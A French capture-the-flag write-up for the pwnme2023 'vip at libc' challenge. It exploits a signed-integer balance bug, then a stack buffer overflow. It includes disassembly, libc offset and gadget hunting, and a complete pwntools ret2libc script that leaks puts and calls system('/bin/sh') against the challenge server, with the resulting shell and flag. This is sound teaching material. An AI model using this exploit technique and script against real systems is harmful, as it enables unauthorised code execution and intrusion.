Contents

pwnme2023 - vip at libc

VIP at libc

Introduction.

Ce challenge a été proposé par le CTF pwnme2023 dans la catégorie pwn.

Il permet la mise en oeuvre d’une exploitation de type ROP avec la problématique de localiser l’adresse de la fonction system dans la libc.

Lien vers les binaires :

vip_at_libc.zip

Découverte

La programme nous accueille avec un menu.

# ./vip_at_libc 
Hi! Welcome to our online game streaming. I see you don't have an account? Please create one.
Your username: TOTO

Welcome TOTO! By default your money is 10$.
For now, we unfortunately do not accept any money transfer on an account.
However, in the future you'll be able to buy a VIP ticket for 100 000$. So we will accept a money transfer.
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
> 
1
10$

1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit

On peut acheter de tickets avec ce solde de 10$.

> 
2
Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down

Each of these games cost 10$ !
Which one do you want ?
> 
2
You don't have enough money!

1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit

On ne peut acheter qu’un ticket.

Essayons le choix VIP : > 3 We only have one kind of VIP ticket right now: - VIP Supreme Ultra

You don't have enough money... It costs 100 000$

Le but est clairement d’abord d’obtenir des sous pour passer VIP

Le bug

Après quelques tatonnements on se rend compte qu’un choix négatif est traité signé donc la comparaison avac le solde est correcte et la soustraction sur le solde augmente le solde.

> 
2
Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down

Each of these games cost 10$ !

Which one do you want ?
> 
1
How many do you want ?
> 
-5
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit

> 
1
50$

1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit

On choisit donc d’acheter -10000 tickets.

> 
2

Today you can buy the following games:
1) Never Gonna
2) Give You Up
3) Never gonna
4) Let You Down

Each of these games cost 10$ !

Which one do you want ?
> 
1
How many do you want ?
> 
-10000
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit
> 
1
100010$

1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
0) exit

On a ce qu’il faut

3
We only have one kind of VIP ticket right now:
- VIP Supreme Ultra

Do you want to buy it ? (1 = yes)
> 
1
Congrats! You're now a proud VIP Supreme Ultra owner.
1) Check money on your account
2) Buy a ticket for a game
3) Buy a VIP ticket for all game
4) Get access to the lounge of your choice
0) exit
4
You are free to create your own lounge and access it!
That's just how powerful that VIP Supreme Ultra is!
What's your lounge name?
> 
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Your lounge ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ has been created!
You can access it whenever you want.

OK on a donc put accéder à la saisi d’un nom de salon dont la taille est mal contrôlée.

Analyse

Protections

gef➤  checksec
[+] checksec for '/w/pwnme2023/pwn/vip/vip_at_libc'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial
  • La pile n’est pas protégée par un canary. On pourra donc réaliser une écrasement de l’adresse de retour d’un fonction.
  • La pile n’est pas executable. On ne peut donc pas utiliser de shellcode
  • Pas de PIE, les adresses de chargement du programme sont fixes
  • RelRO : La protection de la GOT est partielle. On aurra un chargement différée des adresses mais la GOT est inscriptible.

Le code est un peu difficile à suivre en assemnbleur et pas beaucoup plus clair avec ghidra pour la gestion des variables dans les principales fonction, main, menu() et buy_ticket(). Il ya des déplacement de sp qui complique la lecture. Mais le détail de ces fonctions n’a pas d’incidence sur l’exploitation. On ne les décrit donc pas.

La fonction vulnérable est la fonction access_lounge

┌ 183: sym.access_lounge (int64_t arg1, int64_t arg_10h, int64_t arg_18h, int64_t arg_20h);
│           ; var int64_t var_18h @ rbp-0x18
│           ; var char *buffer @ rbp-0x10        ; buffer 
│           ; arg int64_t arg_10h @ rbp+0x10
│           ; arg int64_t arg_18h @ rbp+0x18
│           ; arg int64_t arg_20h @ rbp+0x20
│           ; arg int64_t arg1 @ rdi
│           0x004011b7      55             push rbp
│           0x004011b8      4889e5         mov rbp, rsp
│           0x004011bb      4883ec20       sub rsp, 0x20
│           0x004011bf      48897de8       mov qword [var_18h], rdi    ; arg1
|           ; Affichage des messages Jusqu'à "What's your lounge name?\n> "
│           0x004011c3      488d053e0e00.  lea rax, str.You_are_free_to_create_your_own_lounge_and_access_it__n ; 0x402008 
│           0x004011ca      4889c7         mov rdi, rax                ; const char *s
│           0x004011cd      e85efeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004011d2      488d05670e00.  lea rax, str.Thats_just_how_powerful_that_VIP_Supreme_Ultra_is__n ; 0x402040 
│           0x004011d9      4889c7         mov rdi, rax                ; const char *s
│           0x004011dc      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004011e1      488d058d0e00.  lea rax, str.Whats_your_lounge_name__n__ ; 0x402075 ; "What's your lounge name?\n> "
│           0x004011e8      4889c7         mov rdi, rax                ; const char *s
│           0x004011eb      e840feffff     call sym.imp.puts           ; int puts(const char *s)
|           ; fgets(buffer, 256,stdin) 
│           0x004011f0      488b15692e00.  mov rdx, qword [obj.stdin]  ; obj.stdin_GLIBC_2.2.5
│           0x004011f7      488d45f0       lea rax, [s1]
│           0x004011fb      be00010000     mov esi, 0x100              ; 256 ; int size
│           0x00401200      4889c7         mov rdi, rax                ; buffer
│           0x00401203      e868feffff     call sym.imp.fgets          ; char *fgets(buffer, 256, stdin)
│           0x00401208      488d45f0       lea rax, [s1]
│           0x0040120c      488d157e0e00.  lea rdx, [0x00402091]       ; "\n"
│           0x00401213      4889d6         mov rsi, rdx                ; const char *s2
│           0x00401216      4889c7         mov rdi, rax                ; const char *s1
│           0x00401219      e842feffff     call sym.imp.strcspn        ; size_t strcspn(const char *s1, const char *s2)
│           0x0040121e      c64405f000     mov byte [rbp + rax - 0x10], 0
│           0x00401223      488d45f0       lea rax, [s1]
│           0x00401227      4889c6         mov rsi, rax
│           0x0040122a      488d05670e00.  lea rax, str.Your_lounge__s_has_been_created__n ; 0x402098 ;
│           0x00401231      4889c7         mov rdi, rax                ; const char *format
│           0x00401234      b800000000     mov eax, 0
│           0x00401239      e812feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0040123e      488d057b0e00.  lea rax, str.You_can_access_it_whenever_you_want._n_n ; 0x4020c0 ; 
│           0x00401245      4889c7         mov rdi, rax                ; const char *s
│           0x00401248      e8e3fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0040124d      488b4de8       mov rcx, qword [var_18h]
│           0x00401251      488b4510       mov rax, qword [arg_10h]
│           0x00401255      488b5518       mov rdx, qword [arg_18h]
│           0x00401259      488901         mov qword [rcx], rax
│           0x0040125c      48895108       mov qword [rcx + 8], rdx
│           0x00401260      488b4520       mov rax, qword [arg_20h]
│           0x00401264      48894110       mov qword [rcx + 0x10], rax
│           0x00401268      488b45e8       mov rax, qword [var_18h]
│           0x0040126c      c9             leave
└           0x0040126d      c3             ret

La lecture du nom de salon est fait dans │ ; var char *buffer @ rbp-0x10 ; buffer

Situé en rbp-16 donc après 24 octets on écrase l’adresse de retour (SRIP).

IL est donc possible de mettre en place un chaine de ROP.

On se propose d’appeller la fonction system. Comme elle n’est pas appellée par le programme lui même il nous faut aller la chercher dans la libc.

Comme la libc elle a bien des adresses variables, on doit partir le l’adresse d’une des fonctions utilisée par notre programme et donc l’adresse dans la libc est présente dans la GOT. La distance entre l’adresse de puts et celle de system est constante on peut donc la calculer.

Prenons puts. Et recherchons les adresses relative au début de la libc des deux fonctions.

# readelf -s libc.so.6 |grep " puts@"
1429: 0000000000080ed0   409 FUNC    WEAK   DEFAULT   15 puts@@GLIBC_2.2.
# readelf -s libc.so.6 |grep " system@"
1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

La distance entre les deux : 0000000000050d60 - 0000000000080ed0 = -0x30170

On devra oter à l’adresse de puts située dans la GOT.

Deux approches sont possibles.

  1. Modifier l’entrée GOT de puts avec un gadget du genre “add [reg1],reg2” ou apres lecture et adition, mov [reg1], reg2. Mais dans ce cas, aucun gadget d’écriture n’est disponible.

  2. Lire l’entrée de la GOT avec un fonction d’affichage comme puts ou printf et rappeller la fonction access_lounge. Calculer l’adresse de system. Et au second passage envoyer une chaine de rop qui apelle system("/bin/sh").

Pour la chaine de caractère “/bin/sh” on sait quelle est disponible dans le libc.

# rabin2 -z libc.so.6 |grep "/bin/sh"
899  0x001d8698 0x001d8698 7   8    .rodata ascii   /bin/sh

Pour localiser cette chaine il nous faut d’abord caluler l’adresse de base de la libc. Donc le plus propre est de procéder ainsi.

  1. Lire l’adresse de puts@libc
  2. Oter 0x080ed0 pour obtenir l’adresse de base de la libc
  3. Ajouter 01d8698 pour obtenir “/bin/sh”
  4. Ajouter pour system@libc

Et on envoie la chaine de ROP :

  • pop rdi : pour
  • @ /bin/sh
  • @ system@libc
  • @ access_lounge

Illustration de la localisation des adresses avec gdb/GEF

gef➤  got

GOT protection: Partial RelRO | GOT functions: 7

[0x404000] puts@GLIBC_2.2.5  →  0x7f9d71f9ded0
[0x404008] setbuf@GLIBC_2.2.5  →  0x7f9d71fa5060
[0x404010] printf@GLIBC_2.2.5  →  0x7f9d71f7d770
[0x404018] strcspn@GLIBC_2.2.5  →  0x7f9d720b5730
[0x404020] fgets@GLIBC_2.2.5  →  0x7f9d71f9c400
[0x404028] __isoc99_scanf@GLIBC_2.7  →  0x7f9d71f7f110
[0x404030] exit@GLIBC_2.2.5  →  0x401096

Ce qui nous donne

leak puts= 0x7f9d71f9ded0 libc_base = 0x7f9d71f1d000 libc_system = 0x7f9d71f6dd60 libc_binsh = 0x7f9d720f5698

Il nous faut un gadget “pop rdi” pour chager ce registe avec l’adresse de “/bin/sh”

avec radare2 :

[0x004010a0]> /R pop rdi
0x00401180           f30f1efa  endbr64
0x00401184               eb8a  jmp 0x401110
0x00401186                 5f  pop rdi
0x00401187                 c3  ret

0x00401183                 fa  cli
0x00401184               eb8a  jmp 0x401110
0x00401186                 5f  pop rdi
0x00401187                 c3  ret

On peut retenir l’adresse 0x00401186.

Complément

Lorsqu’on execute la chaine de ROP, l’appel de system plante avec l’erreur

[#0] Id 1, Name: "vip_at_libc", stopped 0x7fd753d3d963 in ?? (), reason: SIGSEGV

    0x7fd753d3d940                  mov    QWORD PTR [rsp+0x180], 0x1
    0x7fd753d3d94c                  mov    DWORD PTR [rsp+0x208], 0x0
    0x7fd753d3d957                  mov    QWORD PTR [rsp+0x188], 0x0
    → 0x7fd753d3d963                  movaps XMMWORD PTR [rsp], xmm1
    0x7fd753d3d967                  lock   cmpxchg DWORD PTR [rip+0x1cae11], edx        # 0x7fd753f08780
    0x7fd753d3d96f                  jne    0x7fd753d3dc20
    0x7fd753d3d975                  mov    eax, DWORD PTR [rip+0x1cae09]        # 0x7fd753f08784
    0x7fd753d3d97b                  lea    edx, [rax+0x1]
    0x7fd753d3d97e                  mov    DWORD PTR [rip+0x1cae00], edx        # 0x7fd753f08784

La fonction system utilise une instruction movaps avec un registre xmm1 et l’ecriture dans la pile (rsp) doit être callée sur 64 bits.

Pour obtenir cela on rajoute une entrée neutre dans notre chaine, une NOP.

N’import quelle adresse contenant c3 (ret) fait l’affaire.

0x00401187                 c3  ret

Script python de mise en oeuvre

from pwn import *
import time

REMOTE=False
DEBUG=False


xs='''
b *access_lounge+181
c
'''

#context.log_level='debug'
binfile="./vip_at_libc"

elf=ELF(binfile)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0401186
nop_rop=0x04010d4
access_lounge=elf.symbols['access_lounge']

if REMOTE:
	io=remote("51.254.39.184",1335)
else:
	env = {"LD_PRELOAD": "./libc.so.6"}
	io=process(binfile, env=env)
	if DEBUG: 
		gdb.attach(io,xs)
	#io = gdb.debug(binfile,gdbscript=xs, env=env)
	time.sleep(.5)


io.recvuntil(b'name:')
io.sendline(b'ALBERT')

io.recvuntil(b'> \n')
io.sendline(b'2')

io.recvuntil(b'> \n')
io.sendline(b'1')

io.recvuntil(b'> \n')
io.sendline(b'-100000')

# VIP
io.recvuntil(b'> \n')
io.sendline(b'3')

io.recvuntil(b'> \n')
io.sendline(b'1')

# Lounge
io.recvuntil(b'> \n')
io.sendline(b'4')

#--------------------------------------------------------------------------------
io.recvuntil(b'> \n')
PL=b'A'*24
PL+=p64(pop_rdi)
PL+=p64(puts_got)
PL+=p64(puts_plt)
PL+=p64(access_lounge)
log.info("send payload 1 ")
io.sendline(PL)

r = io.recvuntil(b"want.\n\n\n")
log.info(r.hex())

time.sleep(.5)
leak = io.recvline()
leak=leak[:6]
leak_puts=u64(leak+b'\x00\x00')

libc=ELF("libc.so.6")
libc_puts=libc.symbols['puts']

log.info(f"leak puts=0x{leak_puts:x}")
log.info(f"libc puts=0x{libc_puts:x}")

libc_base=leak_puts - libc_puts

system=libc_base+libc.symbols['system']
binsh= libc_base + 0x01d8698

log.info(f"libc_base = 0x{libc_base:x}")
log.info(f"system = 0x{system:x}")
log.info(f"binsh = 0x{binsh:x}")

#--------------------------------------------------------------------------------
# Second passage
#--------------------------------------------------------------------------------
io.recvuntil(b'> \n')

PL=b'A'*24
PL+=p64(pop_rdi)
PL+=p64(binsh)
PL+=p64(nop_rop)
PL+=p64(system)

log.info("send payload 2 ")
io.sendline(PL)
io.sendline(b"id")
io.interactive()

Déroulement le jour du CTF :

Avec REMOTE=True

┌──(root㉿zbook310152)-[/w/pwnme2023/pwn/vip]
└─# python3 t.py 
[*] '/w/pwnme2023/pwn/vip/vip_at_libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 51.254.39.184 on port 1335: Done
[*] send payload 1 
596f7572206c6f756e6765204141414141414141414141414141414120686173206265656e2063726561746564210a596f752063616e20616363657373206974207768656e6576657220796f752077616e742e0a0a0a
[*] '/w/pwnme2023/pwn/vip/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
leak puts= 0x7f50a1466ed0
libc puts= 0x80ed0
libc_base =  0x7f50a13e6000
system =  0x7f50a1436d60
binsh =  0x7f50a15be698
[*] send payload 2 
[*] Switching to interactive mode
Your lounge AAAAAAAAAAAAAAAA has been created!
You can access it whenever you want.


$ id
uid=1000(player) gid=999(ctf) groups=999(ctf)
$ cat flag.txt
PWNME{OOO0h_yoU_4r3_V1P_4nd_g0t_sh3LL_w1th_L1bC}